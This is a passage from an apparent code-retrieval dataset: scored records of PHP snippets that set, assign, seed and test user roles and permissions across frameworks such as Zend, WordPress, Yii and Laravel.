"0.69004416", "text": "public function testSetRoleGroups()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "2c1877f0de2da552f4b9bff45aa00550", "score": "0.659113", "text": "public function setRoles(array $roles): self\n {\n $this->roles = $roles;\n\n return $this;\n }", "title": "" }, { "docid": "1a12860ab16e97c49ea3b8074d317f07", "score": "0.6554772", "text": "public function setRoles(Collection $roles)\n {\n $this->roles = $roles;\n }", "title": "" }, { "docid": "9034106f06cfd0ce0d68d3ccc04b1727", "score": "0.6528424", "text": "public function setRoles(array $roles)\n {\n\n $this->roles = [];\n\n foreach ($roles as $role) {\n $this->addRole($role);\n }\n }", "title": "" }, { "docid": "a2d9b9e0fd5515e805c4f1c4cd45bba2", "score": "0.6417238", "text": "public function setRoles(array $roles)\n {\n $this->roles = $roles;\n\n return $this;\n }", "title": "" }, { "docid": "f6d6c1d2effd0fac2841eacd73888b3b", "score": "0.6355523", "text": "public function setRoles($roles)\n {\n $this->roles = $roles;\n\n return $this;\n }", "title": "" }, { "docid": "28185c8ff47ddd9f716cd161e193e1f9", "score": "0.6313674", "text": "public function setUserRoles($userRoles)\n {\n $this->userRoles = $userRoles;\n }", "title": "" }, { "docid": "daf0fbc257973c07259246002301f01c", "score": "0.6313413", "text": "public function setRole($roles)\r\n {\r\n if (! is_array($roles)) {\r\n $roles = array($roles);\r\n }\r\n\r\n $this->_roles = $roles;\r\n\r\n foreach ($this->_roles as $role) {\r\n if (is_string($roles)) {\r\n $role = new Zend_Acl_Role($role);\r\n }\r\n\r\n if (! $this->getAcl()->hasRole($role)) {\r\n $this->getAcl()->addRole($role);\r\n }\r\n }\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "9d3f8b0b0549c987bd879730bbf2dee5", "score": "0.6256964", "text": "public function setRoles($roles_argument) {\n if (strtolower($roles_argument) == 'all') {\n $roles = $this->getAllRoles();\n }\n else {\n $roles = explode(',', $roles_argument);\n $roles = $this->getRequestedRoles($roles);\n }\n\n $this->roles = $roles;\n }", "title": "" }, { "docid": "6408aed9980279fca4eedc29aeac89a8", "score": "0.62389827", "text": "public function setRoles(array $roles)\n {\n $this->roles = array();\n\n foreach ($roles as $role) {\n $this->addRole($role);\n }\n\n return $this;\n }", "title": "" }, { "docid": "e7665f6365ce2115af12ed0de13da4dd", "score": "0.6039014", "text": "public function setRoles(array $roles)\n {\n foreach ($roles as $role) {\n $this->addRole($role);\n }\n\n return $this;\n }", "title": "" }, { "docid": "3695abf5d540b213c13f2548254ce089", "score": "0.5965463", "text": "public function setDefaultRoles();", "title": "" }, { "docid": "5b0ba92e1a3d0a3fc197e2eb0599942b", "score": "0.596339", "text": "public function setUserRoles(?array $userRoles) : self\n {\n $this->initialized['userRoles'] = true;\n $this->userRoles = $userRoles;\n return $this;\n }", "title": "" }, { "docid": "10498aba29c4cdc86b059a7f78a675c3", "score": "0.59545726", "text": "function updateRoles($roles){\n\t\t\t//Retrieve URLMS and staff member to update\n\t\t\t$urlms = $_SESSION['urlms'];\n\t\t\t$staffMember = $_SESSION['staffmember'];\n\t\t\t\n\t\t\t//First delete the roles of the staff member\n\t\t\tforeach ($staffMember->getResearchRoles() as $r){\n\t\t\t\t$r->delete();\n\t\t\t}\n\t\t\t\n\t\t\t//Then add the desired roles\n\t\t\tforeach ($roles as $r){\n\t\t\t\tswitch ($r){\n\t\t\t\t\tcase \"ResearchAssociate\":\n\t\t\t\t\t\t$staffMember->addResearchRole(new ResearchAssociate(\"\", $staffMember));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"ResearchAssistant\":\n\t\t\t\t\t\t$staffMember->addResearchRole(new ResearchAssistant(\"\", $staffMember));\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\t\n\t\t\t\n\t\t\t$this->persistence->writeDataToStore($urlms);\n\t\t}", "title": "" }, { "docid": "3df658c24fb860b53f48812128f6fbde", "score": "0.59405726", "text": "public function modifyRoles($user, array $roles);", "title": "" }, { "docid": "c72b2b81a8b4b2dd769a1a13ecdc8808", "score": "0.59268177", "text": "public static function set_capabilities( $roles ) {\n\t\t$caps = Capability_Manager::get()->get_capabilities( true );\n\t\tforeach ( WP_Helper::get_roles() as $slug => $role ) {\n\t\t\tself::set_role_capabilities( $slug, $caps, $roles );\n\t\t}\n\t}", "title": "" }, { "docid": "1352735340598c13b81ff4c3a2f3a095", "score": "0.5896237", "text": "public function setRole($value) \n {\n $this->_fields['Role']['FieldValue'] = $value;\n return $this;\n }", "title": "" }, { "docid": "231785c240629b8ebba6dd17c5461ae6", "score": "0.58901966", "text": "public function setRoles($force = false)\n {\n if (!is_array($this->roles) || $force) {\n foreach ($this->getUser()->roles as $role) {\n if ($role->id == 1)\n $this->isAdmin = true;\n $roles[] = $role->name;\n }\n $this->roles = $roles;\n }\n }", "title": "" }, { "docid": "0eb65e59ac0ecabf66f0449b55e6ce3a", "score": "0.58612764", "text": "public function roles($roles = null);", "title": "" }, { "docid": "f8b41ddb2bb7aacf4347b0f4f2eb7633", "score": "0.58426213", "text": "public function roles()\n {\n $URI = 'admin/roles';\n $data = ['URI' => $URI, 'items' => $this->smarty_acl->roles()];\n $data['title'] = 'Daftar Roles';\n $this->admin_views('roles', $data);\n }", "title": "" }, { "docid": "a05f0884adaa44b44720ecb99a44d609", "score": "0.5780968", "text": "public function setRole($role);", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.57800925", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.57800925", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.57800925", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.57800925", "text": "public function roles();", "title": "" }, { "docid": "a3313654dd844236dc4ee81fa1ecaf5b", "score": "0.57800925", "text": "public function roles();", "title": "" }, { "docid": "a2f815a355bc31d9fd1a574097816b12", "score": "0.576881", "text": "public function SaveRoles() {\n\t\t\ttry {\n\t\t\t\t// Update any fields for controls that have been created\n\t\t\t\tif ($this->txtDescrip) $this->objRoles->Descrip = $this->txtDescrip->Text;\n\t\t\t\tif ($this->txtComentario) $this->objRoles->Comentario = $this->txtComentario->Text;\n\n\t\t\t\t// Update any UniqueReverseReferences (if any) for controls that have been created for it\n\n\t\t\t\t// Save the Roles object\n\t\t\t\t$this->objRoles->Save();\n\n\t\t\t\t// Finally, update any ManyToManyReferences (if any)\n\t\t\t\t$this->lstUsuarioses_Update();\n\t\t\t} catch (QCallerException $objExc) {\n\t\t\t\t$objExc->IncrementOffset();\n\t\t\t\tthrow $objExc;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "66e4c988a5ff24513b369007819e47c3", "score": "0.57407", "text": "public function setAccessPackageResourceRoles($val)\n {\n $this->_propDict[\"accessPackageResourceRoles\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "f022fda834d89e45903488d6f9c678dd", "score": "0.5720078", "text": "public function setRoles(array $roles = array())\n {\n if ($this->instance instanceof Storage) {\n if ($this->instance->isLocked()) {\n $this->instance->unlock();\n }\n $this->instance->set('roles', $roles);\n $this->instance->lock();\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "c22b825bbef2135ba8f70cb076e684b6", "score": "0.571285", "text": "public function testSetRoleUsers()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "80a36ebe21d0ec56e963173f6494d482", "score": "0.5695075", "text": "public function remvoveAllRoles()\n {\n $this->roles->clear();\n }", "title": "" }, { "docid": "7725a443c1ace5b92cc62dd3903f8ed4", "score": "0.5693022", "text": "public function manage()\n {\n $this->pageTitle = \"Manage Roles\";\n\n $this->vars['groups'] = GroupManager::allGroups()->getGroups();\n\n //$this->flushSession();\n\n $this->vars['selectedGroup'] = null;\n $this->vars['currentGroupCode'] = null;\n $this->vars['unassignedRoles'] = null;\n $this->vars['unassignedRoleCount'] = null;\n $this->vars['unassignedUsers'] = null;\n\n if(GroupManager::allGroups()->countGroups() <= 0)\n return;\n\n\n if($this->getCurrentGroup() === false || $this->getCurrentGroup() === null)\n $this->setCurrentGroup(GroupManager::allGroups()->getGroups()->first()->code);\n\n $this->vars['selectedGroup'] = GroupManager::findGroup($this->getCurrentGroup());\n $this->vars['currentGroupCode'] = $this->getCurrentGroup();\n\n $rolesUnsorted = RoleManager::with($this->getCurrentGroup());\n $roles = $rolesUnsorted->sort()->getRoles();\n\n $unassignedRoles = RoleManager::getUnassignedRoles();\n $this->vars['unassignedRoles'] = $unassignedRoles;\n $this->vars['unassignedRoleCount'] = $unassignedRoles->count();\n\n $unassignedUsers = UsersGroups::byUsersWithoutRole($this->vars['selectedGroup']->code)->get();\n $this->vars['unassignedUsers'] = $unassignedUsers;\n\n if(!isset($roles))\n return;\n\n if($this->getCurrentPage('list_roles') === false || $this->getCurrentPage('list_roles') === null)\n $this->setCurrentPage('list_roles', 1);\n $total = ceil((float)$roles->count() / (float)self::RESULT_LIM);\n\n $this->vars['groupRoles'] = ['roles' => $roles->slice(($this->getCurrentPage('list_roles') - 1) * self::RESULT_LIM, self::RESULT_LIM), 'pagination' => ['page' => $this->getCurrentPage('list_roles'), 'total' => $total]];\n\n if(($this->getCurrentRole() === false || $this->getCurrentRole() === null) && count($roles) > 0)\n $this->setCurrentRole($roles->first()->code);\n\n if(count($roles) > 0)\n $this->vars['role'] = RoleManager::findRole($this->getCurrentRole());\n }", "title": "" }, { "docid": "54ade4375127c828b459b8bb70b333cb", "score": "0.5681129", "text": "private static function add_roles() {\n $plugin_roles = new JPID_Roles();\n\n $plugin_roles->add_roles();\n }", "title": "" }, { "docid": "eb74ea5b24f8d778f1e5804d7ba6a08b", "score": "0.5641024", "text": "public static function create_roles() {}", "title": "" }, { "docid": "8713f3856e7057f65cdd6a77dadbac11", "score": "0.5608803", "text": "public function setUsersRoles($UsersRoles)\n {\n $this->UsersRoles = $this->db->real_escape_string($UsersRoles);\n }", "title": "" }, { "docid": "260f08ab8ed15e12a7dc8382006203f4", "score": "0.55908763", "text": "public static function set_role_caps()\n\t{\n $role = get_role('administrator');\n\n // We need this role, no other chance\n if (empty($role))\n {\n update_option(\"ngg_init_check\", __('Sorry, NextGEN Gallery works only with a role called administrator',\"nggallery\"));\n return;\n }\n\n $capabilities = array(\n 'NextGEN Attach Interface',\n 'NextGEN Change options',\n 'NextGEN Change style',\n 'NextGEN Edit album',\n 'NextGEN Gallery overview',\n 'NextGEN Manage gallery',\n 'NextGEN Manage others gallery',\n 'NextGEN Manage tags',\n 'NextGEN Upload images',\n 'NextGEN Use TinyMCE'\n );\n\n foreach ($capabilities as $capability) {\n $role->add_cap($capability);\n\t\t}\n\t}", "title": "" }, { "docid": "be78848e57178c5d32a706c1e207ca30", "score": "0.5564102", "text": "function setRole($role) {\n\t\t$this->setData('role', $role);\n\t}", "title": "" }, { "docid": "26e8ef0a1855cb5d1640f540384b69ad", "score": "0.5560811", "text": "function set_role()\n\t{\n\t\t$role_id = $this->uri->segment(3);\n\n\t\tlog_message('debug', 'Available roles: '.print_r($this->authr->get_roles(), TRUE));\n\t\t// does user have access to this role?\n\t\tif ($this->authr->user->has_role($role_id))\n\t\t{\n\t\t\tlog_message('debug', 'User has role');\n\t\t\t$this->session->set_userdata('role_id', $role_id);\n\t\t\t\n\t\t\t$new_role = Role_model::get($role_id);\n\t\t\t$apps = $new_role->get_apps();\n\t\t\t\n\t\t\t// based on role, need to set app appropriately\n\t\t\tif (in_array($this->session->userdata('app'), $apps))\n\t\t\t{\n\t\t\t\tlog_message('debug', 'Role has app');\n\t\t\t\t// current app is available to role, so redirect\n\t\t\t\tredirect();\n\t\t\t}\n\t\t\telseif (count($apps) == 1)\n\t\t\t{\n\t\t\t\tlog_message('debug', 'Role does not have app, switching to new app');\n\t\t\t\t// current app not assigned to role, but only one app\n\t\t\t\t// available, so switch to that app\n\t\t\t\t$this->session->set_userdata('app', $apps[0]);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tlog_message('debug', 'Role has multiple other apps, redirecting to environment');\n\t\t\t\t// multiple apps available, so let user choose\n\t\t\t\tredirect('user/environment');\n\t\t\t}\n\t\t}\n\t\t\n\t\tredirect();\n\t}", "title": "" }, { "docid": "a7509afed64258dce09e970dce454534", "score": "0.5553827", "text": "public function actionAddroles(){\n\n $auth = Yii::$app->authManager;\n\n // TODO: add 3 roles\n\n $registeredUser = $auth->createRole('registeredUser');\n $auth->add($registeredUser);\n $auth->addChild($registeredUser, $auth->getPermission('readFullArticle'));\n\n $moderator = $auth->createRole('moderator');\n $auth->add($moderator);\n $auth->addChild($moderator, $auth->getPermission('createPost'));\n $auth->addChild($moderator, $registeredUser);\n\n $admin = $auth->createRole('admin');\n $auth->add($admin);\n $auth->addChild($admin, $auth->getPermission('createUser'));\n $auth->addChild($admin, $moderator); // Inheriting permissions from moderator\n\n }", "title": "" }, { "docid": "9dfd751c591ac3a7f41c47f03980d213", "score": "0.55534756", "text": "private function _assignGroup($groupid, $roles, $bizRules, $data) {\n if ($groupid) {\n $auth = Yii::app()->authManager;\n /* @var $auth SDbAuthManager */\n foreach ($roles as $role) {\n $auth->assignGroup($role, $groupid, $bizRules, $data);\n }\n }\n }", "title": "" }, { "docid": "c8ecb6b0079cb052735edf5a205fd2ac", "score": "0.55479395", "text": "protected function _addRoles($roles) {\n\t//Garante a ordens das roles\n\t//Adidiona as roles\n\tforeach ($roles as $value) {\n\t\t//Verifica a role ja foi add\n\t\tif (!$this->hasRole((string) $value['id'])) {\n\t\t\t//Inicia os parents da role ex:1 e parent da 2 a 2 da 3 etc\n\t\t\t//a 1 herda da 2,3,4 e 5\n\t\t\t$parentNames = null;\n\t\t\tif (!is_null($value['is_admin']) && (int) $value['parent']) {\n\t\t\t\t$parentNames = (string) $value['parent'];\n\t\t\t}\n\t\t\t//Adiciana a role\n\t\t\t$this->addRole(new Role((string) $value['id']), $parentNames);\n\t\t}\n\t\t//Se a role for admin conceda totos os privileges\n\t\tif ($value['is_admin']) {\n\t\t\t$this->allow((string) $value['id'], array(), array());\n\t\t}\n\t}\n\treturn $this;\n}", "title": "" }, { "docid": "7332f5530145cbdfe97c4380e6c6b30e", "score": "0.55230755", "text": "public function setRoleAccess($role = false) {\n\t\t$dbRole = $this->User->find('first', array(\n\t\t\t'conditions' => array($this->User->escapeField() => $this->Auth->user('id')),\n\t\t\t'fields' => array('id', 'role'),\n\t\t\t'contain' => false));\n\t\t//if there is no role in the database, get the role from your closest parent\n\t\tif (!$dbRole['User']['role']) {\n\t\t\t$role = $this->getNearestRole();\n\t\t}\n\t\t//process the role and set the sessions\n\t\t$localrole = (!$role) ? $this->Auth->user('role') : $role;\n\t\tif (($localrole != '' && !$this->Auth->user('group')) || $role) {\n\t\t\t$this->Session->write('Auth.User.role', $localrole);\n\t\t\t$roleGrain = explode(' ', $localrole);\n\t\t\t$this->Session->write('Auth.User.group', $roleGrain[0]);\n\t\t\t$this->Session->write('Auth.User.access', $roleGrain[1]);\n\t\t}\n\t}", "title": "" }, { "docid": "145cd120e1ab2055bafabaaf99c6a5da", "score": "0.5522008", "text": "function restore_roles() {\n\t\t$this->_roles = get_site_option( 'wp_native_roles' );\n\t\t$this->_store();\n\t}", "title": "" }, { "docid": "d8aa7a7740173011e29f941765eadfbc", "score": "0.5516056", "text": "function setRole($role = \"\")\n\t{\n\t\t$this->types[\"ROLE\"] = $this->escape($role);\n\t}", "title": "" }, { "docid": "59c6d20ff29b8cd0e006288639c38c27", "score": "0.55021435", "text": "public function testRoles()\n {\n // get RBAC service\n $rbacService = Bootstrap::getServiceManager()->get('ZfcRbac\\Service\\Rbac');\n // Event\n $e = new \\ZfcRbac\\Provider\\Event();\n // assign Zend RBAC to event\n $e ->setRbac($rbacService->getRbac());\n\n // mock result\n $result = new \\ArrayIterator(array(\n (object) array('name'=>'parent', 'parent'=>null),\n (object) array('name'=>'child1', 'parent'=>'parent'),\n (object) array('name'=>'child2', 'parent'=>'parent'),\n (object) array('name'=>'subchild', 'parent'=>'child1'),\n ));\n\n // mock statement returning our roles\n $mockStatement = $this->getMock('Zend\\Db\\Adapter\\Driver\\StatementInterface');\n $mockStatement->expects($this->any())->method('execute')->will($this->returnValue($result));\n $this->_mockDriver->expects($this->any())->method('createStatement')->will($this->returnValue($mockStatement));\n\n // load roles with mock\n $this->_db->loadRoles($e);\n\n // add provider to RBAC service\n $rbacService->addProvider($this->_db);\n $rbac = $rbacService->getRbac();\n\n // test roles\n $this->assertTrue($rbac->hasRole('parent'));\n $this->assertTrue($rbac->hasRole('child1'));\n $this->assertTrue($rbac->hasRole('child2'));\n $this->assertTrue($rbac->hasRole('subchild'));\n $this->assertFalse($rbac->hasRole('child3'));\n }", "title": "" }, { "docid": "0981904810f3b49e2aa12a70e041bd33", "score": "0.54879695", "text": "public function addRoles($roles=[])\n {\n foreach ($roles as $role) {\n $this->addRole($role);\n }\n return $this;\n }", "title": "" }, { "docid": "d6b6c784ce4ceabf1cae59ffcbb402c5", "score": "0.54654545", "text": "protected function seedRoles(): void\n {\n $this->seed(RolesAndPermissionsTableSeeder::class);\n }", "title": "" }, { "docid": "c15360c416ff248410e77cd2d95887db", "score": "0.5463352", "text": "public function create_roles() {\n\n // Employee role\n add_role( 'employee', __( 'Employee', 'wp-erp' ), array(\n 'read' => true,\n 'edit_posts' => false,\n 'delete_posts' => false\n ) );\n }", "title": "" }, { "docid": "11a710cee8343f64ab8a56e489d6d09b", "score": "0.5409538", "text": "public function testIfMultipleRolesAreAdded(): void {\r\n\r\n $this -> acl -> addRoles(['administrator', 'moderator']);\r\n $this -> assertIsArray($this -> acl -> getRoles());\r\n $this -> assertCount(2, $this -> acl -> getRoles());\r\n\r\n $role = $this -> acl -> getRole('administrator');\r\n $this -> assertInstanceOf('sFire\\\\Permissions\\\\Acl\\\\Role', $role);\r\n\r\n $role = $this -> acl -> getRole('moderator');\r\n $this -> assertInstanceOf('sFire\\\\Permissions\\\\Acl\\\\Role', $role);\r\n }", "title": "" }, { "docid": "5eebb4ee6bb4f923e9d06efe807be6b5", "score": "0.5386024", "text": "public function setRawRoles(array $roles)\n {\n $this->roles = $roles;\n\n return $this;\n }", "title": "" }, { "docid": "b9e508987ae18afc47b45393b3126a34", "score": "0.5380867", "text": "public function assign($roles)\n {\n (new AssignsRoles($roles))->to($this);\n\n return $this;\n }", "title": "" }, { "docid": "426d0782d177525d1fa6d14baffbd418", "score": "0.53689235", "text": "public function registerRoleGroups() {\n\n\t\t$roles = acf_roles();\n\n\t\t// Add the plugin-specific role group only if the ACF plugin is active\n\t\t// and there are existing roles with plugin-specific caps.\n\t\tif ( $roles ) {\n\t\t\tmembers_register_role_group( 'plugin-acf', [\n\t\t\t\t'label' => esc_html__( 'Advanced Custom Fields', 'members-acf-integration' ),\n\t\t\t\t'label_count' => _n_noop( 'Advanced Custom Fields %s', 'Advanced Custom Fields %s', 'members-acf-integration' ),\n\t\t\t\t'roles' => $roles,\n\t\t\t] );\n\t\t}\n\t}", "title": "" }, { "docid": "acbcf18e7e691d6c2b27ff55d045841d", "score": "0.5363611", "text": "public function setRole($var)\n {\n GPBUtil::checkString($var, True);\n $this->role = $var;\n\n return $this;\n }", "title": "" }, { "docid": "e5740e1ea7980bdfeb48a9f266922ec0", "score": "0.53524226", "text": "public function __construct () {\n\t\t$this->roles = array();\n\t}", "title": "" }, { "docid": "ed68edd0c3ef2e1870c449ee01dab2f2", "score": "0.534989", "text": "public function unassignAllRoles(): void\n {\n $this->roles()->detach();\n }", "title": "" }, { "docid": "e83770a2e50bec0bb3941221e2ba4d51", "score": "0.5347369", "text": "function setRoleID($iNewValue) {\n\t\t$this->iRoleID = $iNewValue;\n\t}", "title": "" }, { "docid": "913b6ad195d64bba19d24b4d9f38a381", "score": "0.5335414", "text": "function\t\t\tresetRoles(\\net\\dryuf\\srvui\\PageContext $pageContext, $newRoles);", "title": "" }, { "docid": "44f1e1ab2bf9f71468f9dd4b6b7c119b", "score": "0.5330034", "text": "public function setRole(?string $value): void {\n $this->getBackingStore()->set('role', $value);\n }", "title": "" }, { "docid": "a2f9eed19740675f2da7189624774448", "score": "0.5313842", "text": "public function testSetDefaultRoles(array $values) {\n $permission = new GroupContentOperationPermission();\n $permission->setDefaultRoles($values['default roles']);\n $this->assertEquals($values['default roles'], $permission->get('default roles'));\n }", "title": "" }, { "docid": "d964433c3d1ae314c5a295fcab8bb324", "score": "0.5312469", "text": "static public function configureRoles() {\n\n\t\tif ( null === get_role( 'protector' ) ) {\n\n\t\t\t$caps = array(\n\t\t\t\t'read' => true, // true allows the user to read posts\n\t\t\t\t'edit_posts' => false, // Allows user to edit their own posts\n\t\t\t\t'edit_pages' => false, // Allows user to edit pages\n\t\t\t\t'edit_others_posts' => false, // Allows user to edit others posts not just their own\n\t\t\t\t'create_posts' => false, // Allows user to create new posts\n\t\t\t\t'manage_categories' => false, // Allows user to manage post categories\n\t\t\t\t'publish_posts' => false, // Allows the user to publish, otherwise posts stays in draft mode\n\t\t\t\t'edit_themes' => false, // false denies this capability. User can’t edit your theme\n\t\t\t\t'install_plugins' => false, // User cant add new plugins\n\t\t\t\t'update_plugin' => false, // User can’t update any plugins\n\t\t\t\t'update_core' => false // user cant perform core updates\n\t\t\t);\n\n\t\t\t$role_defs = array(\n\t\t\t\t'protector' => array(\n\t\t\t\t\t'label' => __( 'Protector', 'e20rtextit' ),\n\t\t\t\t\t'caps' => $caps\n\t\t\t\t),\n\t\t\t\t'guardian' => array(\n\t\t\t\t\t'label' => __( 'Guardian', 'e20rtextit' ),\n\t\t\t\t\t'caps' => $caps\n\t\t\t\t),\n\t\t\t\t'guardianangel' => array(\n\t\t\t\t\t'label' => __( 'Guardian Angel', 'e20rtextit' ),\n\t\t\t\t\t'caps' => $caps,\n\t\t\t\t),\n\t\t\t\t'weekend' => array(\n\t\t\t\t\t'label' => __( 'Weekender', 'e20rtextit' ),\n\t\t\t\t\t'caps' => $caps,\n\t\t\t\t),\n\t\t\t\t'standard' => array(\n\t\t\t\t\t'label' => __( 'Standard', 'e20rtextit' ),\n\t\t\t\t\t'caps' => $caps,\n\t\t\t\t),\n\t\t\t\t'premium' => array(\n\t\t\t\t\t'label' => __( 'Premium', 'e20rtextit' ),\n\t\t\t\t\t'caps' => $caps,\n\t\t\t\t),\n\t\t\t\t'premiumplus' => array(\n\t\t\t\t\t'label' => __( 'Premium Plus', 'e20rtextit' ),\n\t\t\t\t\t'caps' => $caps,\n\t\t\t\t)\n\t\t\t);\n\n\t\t\tforeach ( $role_defs as $role => $info ) {\n\n\t\t\t\tif ( false === add_role( $role, $info['label'], $info['caps'] ) ) {\n\n\t\t\t\t\ttrigger_error( __( \"Error: Unable to define {$info['label']} role\", \"e20rtextit\" ), E_USER_ERROR );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "1c2dc54fc1125881338aee7b171f143b", "score": "0.53112686", "text": "public function setRole($role) {\n\t\t$this->role = $role;\n\t}", "title": "" }, { "docid": "19a0b2ecc20cb1ed8677c4a5973058c9", "score": "0.5300472", "text": "private function setRole(User $user, $role_name)\n {\n $role = new Role;\n $role = $role->where('name', '=', $role_name)->get();\n $user->roles()->attach($role);\n }", "title": "" }, { "docid": "4250135e368d0cba93a4b83bb4408461", "score": "0.5287823", "text": "public function roles_all(): self\n {\n $this->loadRolesRelations();\n\n return collect([$this->role])->merge($this->roles);\n }", "title": "" }, { "docid": "e730751b111b146ef7c77656ba2ab9fb", "score": "0.5286459", "text": "private function seedRolesAndPermissions() : void\n {\n app()[PermissionRegistrar::class]->forgetCachedPermissions();\n\n // Make sure to import all permissions\n Role::create(['name' => Role::ADMIN]);\n $this->call('permission:import');\n\n Role::create(['name' => ChangeRolesListener::BOARD_ROLE]);\n Role::create(['name' => ChangeRolesListener::CANDIDATE_BOARD_ROLE]);\n Role::create(['name' => ChangeRolesListener::DEMISSIONED_BOARD_ROLE]);\n Role::create(['name' => ChangeRolesListener::DECHARGED_BOARD_ROLE]);\n\n Role::create(['name' => 'Member']);\n Role::create(['name' => 'Active Member']);\n Role::create(['name' => 'Alumni member']);\n }", "title": "" }, { "docid": "8586f136e6c620ba665a779328df5c99", "score": "0.5280746", "text": "public function setRolesManyToMany($rid, $uid)\n {\n $user = User::find($uid);\n if ($user) {\n $role = Role::find($rid);\n if ($role) {\n // return ($user->roles()->attach($rid)) ? response()->json([\"success\" => \"Role attached to user successfully!\"], 200) : response()->json([\"error\" => \"Unable to attach role to user!\"], 404);\n // return ($user->roles()->sync([$rids])) ? response()->json([\"success\" => \"Role synced to user successfully!\"], 200) : response()->json([\"error\" => \"Unable to sync role to user!\"], 404);\n return ($user->roles()->save($role)) \n ? response()->json([\"success\" => \"Role assigned to user successfully!\"], 200)\n : response()->json([\"error\" => \"Unable to assign role to user!\"], 404);\n } else {\n return response()->json([\"error\" => \"No role found!\"], 404);\n }\n } else {\n return response()->json([\"error\" => \"No user found!\"], 404);\n }\n }", "title": "" }, { "docid": "42db13bcb736ef5664a78a8d682b4ea0", "score": "0.5261277", "text": "public function setRole($role)\n {\n $this->role = $role;\n }", "title": "" }, { "docid": "e3909ad99c41531172265d41c8026d1c", "score": "0.5256957", "text": "protected function buildPriorityRoles()\n {\n foreach ($this->config->getRolesAuth() as $name => $displayName) {\n $this->roles[$name] = new Role($name, $displayName);\n }\n }", "title": "" }, { "docid": "52b52bc94d789982fade10183c0b2b56", "score": "0.52458507", "text": "public function ensureRoles() {\n // Loop through the ACL and ensure roles.\n foreach ($this->getACL() as $roleName => $roleData) {\n $role = user_role_load_by_name($roleName);\n if ($role == false) {\n $role = new \\stdClass();\n $role->name = $roleName;\n $role->weight = $roleData['weight'];\n user_role_save($role);\n }\n $this->acl[$roleName]['rid'] = (int) $role->rid;\n }\n }", "title": "" }, { "docid": "6d08ef9039c1fa4913103a7204b8c10e", "score": "0.5242049", "text": "public function testRoleGroups()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "3eb31f80c7392c04bd457cfa38ea449d", "score": "0.5241226", "text": "public function testRole() {\n\n // Loads role objects.\n $role_objects = Role::loadMultiple();\n\n // These are the roles we want.\n $includes = [\n 'anonymous',\n 'authenticated',\n 'content_api_consumer',\n 'content_editor',\n 'content_reviewer',\n 'content_publisher',\n 'admnistrator_users',\n 'administrator',\n ];\n\n // Creates an array from our role objects.\n $system_roles = array_combine(array_keys($role_objects), array_map(function ($a) {\n $roles[] = $a->label();\n return $a->label();\n }, $role_objects));\n\n // Validates drupal roles match what we expect.\n foreach ($includes as $role) {\n $this->assertArrayHasKey($role, $system_roles);\n }\n\n }", "title": "" }, { "docid": "fbea3f634467bfd658aca6ce00bc2804", "score": "0.52361023", "text": "private static function set_role_capabilities( $slug, $caps, $roles ) {\n\t\t$role = get_role( $slug );\n\t\tif ( ! $role ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$roles[ $slug ] = isset( $roles[ $slug ] ) && is_array( $roles[ $slug ] ) ? array_flip( $roles[ $slug ] ) : [];\n\t\tforeach ( $caps as $cap ) {\n\t\t\t$func = isset( $roles[ $slug ], $roles[ $slug ][ $cap ] ) ? 'add_cap' : 'remove_cap';\n\t\t\t$role->$func( $cap );\n\t\t}\n\t}", "title": "" }, { "docid": "66d73f28c35e0049cb556648dc715040", "score": "0.52359885", "text": "private function reAssignUserRoles()\n\t{\n\t\t$userModel = BaseActiveRecord::getUserModel($this->client);\n\t\t$users = $userModel::find()\n\t\t\t\t->where(['UserActiveFlag' => 1])\n\t\t\t\t->all();\n\t\t\n\t\t$userSize = count($users);\n\t\t$userRoleTypes = $this->auth->getRoles();\n\t\t$maxChunkSize = 500;\n\t\t$chunkCount = ceil($userSize/$maxChunkSize);\n\t\t\n\t\techo \"Preparing Bulk Assignment of Roles to Users for $userSize Users in $chunkCount User Groups.\\n\";\n\t\t\n\t\t//loop chunks of users to avoid error on 1000+ row insert\n\t\tfor($j = 0; $j < $chunkCount; $j++){\t\t\n\t\t\t$bulkUserInsertArray = array();\n\t\t\t$chunkStartIndex = $maxChunkSize * $j;\n\t\t\t$chunkSize = ($j < $chunkCount -1) ? $maxChunkSize : $userSize - ($maxChunkSize * $j);\n\t\t\techo \"Preparing Bulk Assignment of Roles to Users for $chunkSize Users in Group \" . ($j+1) . \".\\n\";\n\t\t\t//assign roles to users already in the system\n\t\t\tfor($i = $chunkStartIndex; $i < $maxChunkSize * $j + $chunkSize; $i++)\n\t\t\t{\n\t\t\t\t$userRole = $users[$i]['UserAppRoleType'];\n\t\t\t\tif(array_key_exists($userRole, $userRoleTypes))\n\t\t\t\t{\n\t\t\t\t\t$bulkUserInsertArray[] = [\n\t\t\t\t\t\t'user_id' => $users[$i]['UserID'],\n\t\t\t\t\t\t'item_name' => $userRole,\n\t\t\t\t\t\t'created_at' => time()\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \"Execute Bulk Assignment of Roles to Users for Group \" . ($j+1) . \".\\n\";\n\t\t\t$this->auth->bulkAssign($bulkUserInsertArray);\n\t\t}\n\t\t\n\t\techo \"Users Roles Assigned.\\n\";\n }", "title": "" }, { "docid": "57220ce2f16b8b3eab2018c44104e588", "score": "0.52337617", "text": "public function actionRoles()\n {\n return $this->render('roles', [\n 'roles' => Yii::$app->authManager->getRoles()\n ]);\n }", "title": "" }, { "docid": "4ee30133f5da1fd252b6f09db51e2b9f", "score": "0.52233577", "text": "public static function add_roles() {\n\t\t$reviewer = array(\n\t\t\t'read' => true,\n\t\t\t'plugin_set_category' => 